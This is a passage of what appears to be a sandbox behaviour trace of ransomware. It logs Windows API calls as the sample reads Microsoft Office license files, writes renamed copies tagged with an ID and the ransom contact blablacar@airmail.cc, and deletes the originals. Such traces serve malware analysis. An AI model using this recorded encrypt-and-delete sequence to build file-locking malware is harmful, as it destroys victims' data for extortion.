(lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.878] lstrlenW (lpString=".ppt") returned 4 [0201.878] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.878] lstrlenW (lpString=".zip") returned 4 [0201.878] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.879] lstrlenW (lpString=".rar") returned 4 [0201.879] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.879] lstrlenW (lpString=".bz2") returned 4 [0201.879] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.879] lstrlenW (lpString=".7z") returned 3 [0201.879] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.879] lstrlenW (lpString=".dbf") returned 4 [0201.879] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.879] lstrlenW (lpString=".1cd") returned 4 [0201.879] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.879] lstrlenW (lpString=".jpg") returned 4 [0201.879] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.879] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.879] lstrlenW (lpString="O365BusinessR_SubTrial-pl.xrm-ms") returned 32 [0201.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.880] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11179) returned 1 [0201.880] CloseHandle (hObject=0x548) returned 1 [0201.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 0x220 [0201.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.881] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.881] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.882] GetLastError () returned 0x0 [0201.882] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bab, lpOverlapped=0x0) returned 1 [0201.884] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0201.885] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.885] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x114, lpOverlapped=0x0) returned 1 [0201.885] SetEndOfFile (hFile=0x534) returned 1 [0201.885] CloseHandle (hObject=0x534) returned 1 [0201.885] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.885] SetEndOfFile (hFile=0x548) returned 1 [0201.888] CloseHandle (hObject=0x548) returned 1 [0201.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 1 [0201.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.889] lstrlenW (lpString=".doc") returned 4 [0201.889] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.889] lstrlenW (lpString=".docx") returned 5 [0201.889] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.889] lstrlenW (lpString=".pdf") returned 4 [0201.889] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.889] lstrlenW (lpString=".xls") returned 4 [0201.889] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.889] lstrlenW (lpString=".xlsx") returned 5 [0201.889] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.889] lstrlenW (lpString=".ppt") returned 4 [0201.889] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.889] lstrlenW (lpString=".zip") returned 4 [0201.889] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.889] lstrlenW (lpString=".rar") returned 4 [0201.889] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.889] lstrlenW (lpString=".bz2") returned 4 [0201.889] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.889] lstrlenW (lpString=".7z") returned 3 [0201.889] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.889] lstrlenW (lpString=".dbf") returned 4 [0201.889] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.890] lstrlenW (lpString=".1cd") returned 4 [0201.890] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.890] lstrlenW (lpString=".jpg") returned 4 [0201.890] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.890] lstrlenW (lpString=".doc") returned 4 [0201.890] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.890] lstrlenW (lpString=".docx") returned 5 [0201.890] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.890] lstrlenW (lpString=".pdf") returned 4 [0201.890] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.890] lstrlenW (lpString=".xls") returned 4 [0201.890] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.890] lstrlenW (lpString=".xlsx") returned 5 [0201.890] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.890] lstrlenW (lpString=".ppt") returned 4 [0201.890] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.890] lstrlenW (lpString=".zip") returned 4 [0201.890] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.890] lstrlenW (lpString=".rar") returned 4 [0201.890] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.890] lstrlenW (lpString=".bz2") returned 4 [0201.890] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.890] lstrlenW (lpString=".7z") returned 3 [0201.890] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.890] lstrlenW (lpString=".dbf") returned 4 [0201.890] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.891] lstrlenW (lpString=".1cd") returned 4 [0201.891] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0201.891] lstrlenW (lpString=".jpg") returned 4 [0201.891] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.891] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.891] lstrlenW (lpString="O365BusinessR_SubTrial-ppd.xrm-ms") returned 33 [0201.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.891] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=22466) returned 1 [0201.891] CloseHandle (hObject=0x548) returned 1 [0201.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 0x220 [0201.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.892] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.892] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.893] GetLastError () returned 0x0 [0201.893] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x57c2, lpOverlapped=0x0) returned 1 [0201.895] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x57d0, lpOverlapped=0x0) returned 1 [0201.897] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.897] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x116, lpOverlapped=0x0) returned 1 [0201.897] SetEndOfFile (hFile=0x534) returned 1 [0201.897] CloseHandle (hObject=0x534) returned 1 [0201.897] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.897] SetEndOfFile (hFile=0x548) returned 1 [0201.900] CloseHandle (hObject=0x548) returned 1 [0201.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 1 [0201.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.901] lstrlenW (lpString=".doc") returned 4 [0201.901] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.901] lstrlenW (lpString=".docx") returned 5 [0201.901] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.901] lstrlenW (lpString=".pdf") returned 4 [0201.901] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.901] lstrlenW (lpString=".xls") returned 4 [0201.902] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.902] lstrlenW (lpString=".xlsx") returned 5 [0201.902] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.902] lstrlenW (lpString=".ppt") returned 4 [0201.902] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.902] lstrlenW (lpString=".zip") returned 4 [0201.902] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.902] lstrlenW (lpString=".rar") returned 4 [0201.902] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.902] lstrlenW (lpString=".bz2") returned 4 [0201.902] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.902] lstrlenW (lpString=".7z") returned 3 [0201.902] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.902] lstrlenW (lpString=".dbf") returned 4 [0201.902] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.902] lstrlenW (lpString=".1cd") returned 4 [0201.902] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.902] lstrlenW (lpString=".jpg") returned 4 [0201.902] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.902] lstrlenW (lpString=".doc") returned 4 [0201.902] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.902] lstrlenW (lpString=".docx") returned 5 [0201.902] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.902] lstrlenW (lpString=".pdf") returned 4 [0201.902] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.902] lstrlenW (lpString=".xls") returned 4 [0201.903] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.903] lstrlenW (lpString=".xlsx") returned 5 [0201.903] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.903] lstrlenW (lpString=".ppt") returned 4 [0201.903] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.903] lstrlenW (lpString=".zip") returned 4 [0201.903] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.903] lstrlenW (lpString=".rar") returned 4 [0201.903] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.903] lstrlenW (lpString=".bz2") returned 4 [0201.903] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.903] lstrlenW (lpString=".7z") returned 3 [0201.903] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.903] lstrlenW (lpString=".dbf") returned 4 [0201.903] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.903] lstrlenW (lpString=".1cd") returned 4 [0201.903] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0201.903] lstrlenW (lpString=".jpg") returned 4 [0201.903] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.903] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.903] lstrlenW (lpString="O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 36 [0201.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.904] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11631) returned 1 [0201.904] CloseHandle (hObject=0x548) returned 1 [0201.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 0x220 [0201.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.905] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.905] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.906] GetLastError () returned 0x0 [0201.906] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d6f, lpOverlapped=0x0) returned 1 [0202.019] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0202.020] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.020] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11c, lpOverlapped=0x0) returned 1 [0202.020] SetEndOfFile (hFile=0x534) returned 1 [0202.020] CloseHandle (hObject=0x534) returned 1 [0202.020] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.020] SetEndOfFile (hFile=0x548) returned 1 [0202.027] CloseHandle (hObject=0x548) returned 1 [0202.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 1 [0202.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.031] lstrlenW (lpString=".doc") returned 4 [0202.031] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.031] lstrlenW (lpString=".docx") returned 5 [0202.031] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.031] lstrlenW (lpString=".pdf") returned 4 [0202.031] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.031] lstrlenW (lpString=".xls") returned 4 [0202.031] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.031] lstrlenW (lpString=".xlsx") returned 5 [0202.031] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.031] lstrlenW (lpString=".ppt") returned 4 [0202.031] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.031] lstrlenW (lpString=".zip") returned 4 [0202.031] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.031] lstrlenW (lpString=".rar") returned 4 [0202.031] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.031] lstrlenW (lpString=".bz2") returned 4 [0202.031] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.031] lstrlenW (lpString=".7z") returned 3 [0202.031] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.031] lstrlenW (lpString=".dbf") returned 4 [0202.031] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.031] lstrlenW (lpString=".1cd") returned 4 [0202.032] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.032] lstrlenW (lpString=".jpg") returned 4 [0202.032] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0202.032] lstrlenW (lpString="C:\\Program Files\\Microsoft 